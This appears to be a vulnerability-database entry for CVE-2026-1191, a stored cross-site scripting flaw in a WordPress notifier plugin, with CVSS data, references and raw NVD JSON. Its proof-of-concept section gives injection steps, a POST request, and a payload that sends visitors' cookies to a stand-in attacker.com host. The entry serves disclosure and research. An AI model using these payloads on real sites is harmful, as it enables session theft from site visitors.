Security Vulnerability Report
中文
CVE-2026-1191 CVSS 4.4 MEDIUM

CVE-2026-1191

Published: 2026-01-24 09:15:54
Last Modified: 2026-04-15 00:35:42

Description

The JavaScript Notifier plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin settings in all versions up to, and including, 1.2.8. This is due to insufficient input sanitization and output escaping on user-supplied attributes in the `wp_footer` action. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

JavaScript Notifier plugin for WordPress <= 1.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress JavaScript Notifier XSS PoC --> <!-- 攻击前提:需要管理员权限登录WordPress --> <!-- PoC Payload (注入到插件设置中) --> <script>alert(document.cookie)</script> <!-- 或更复杂的payload --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- 利用步骤: --> <!-- 1. 登录WordPress后台作为管理员 --> <!-- 2. 导航到 Settings > JavaScript Notifier --> <!-- 3. 在设置字段中注入上述XSS payload --> <!-- 4. 保存设置 --> <!-- 5. 任何访问网站的用户都会触发XSS --> <!-- 示例:修改插件配置文件的恶意请求 --> POST /wp-admin/options-general.php?page=javascript-notifier Content-Type: application/x-www-form-urlencoded jn_code=<script>alert(document.domain)</script>&jn_enable=1&submit=Save

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1191", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:53.847", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JavaScript Notifier plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin settings in all versions up to, and including, 1.2.8. This is due to insufficient input sanitization and output escaping on user-supplied attributes in the `wp_footer` action. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin JavaScript Notifier para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración del plugin en todas las versiones hasta la 1.2.8, inclusive. Esto se debe a una sanitización de entrada insuficiente y un escape de salida inadecuado en los atributos proporcionados por el usuario en la acción 'wp_footer'. Esto hace posible que atacantes autenticados, con acceso de nivel de administrador, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/javascript-notifier/tags/1.2.8/javascript-notifier.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/javascript-notifier/trunk/javascript-notifier.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3449861/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/97696702-4d40-41dd-a25f-f2ee7681a2c9?source=cve", "source": "[email protected]"}]}}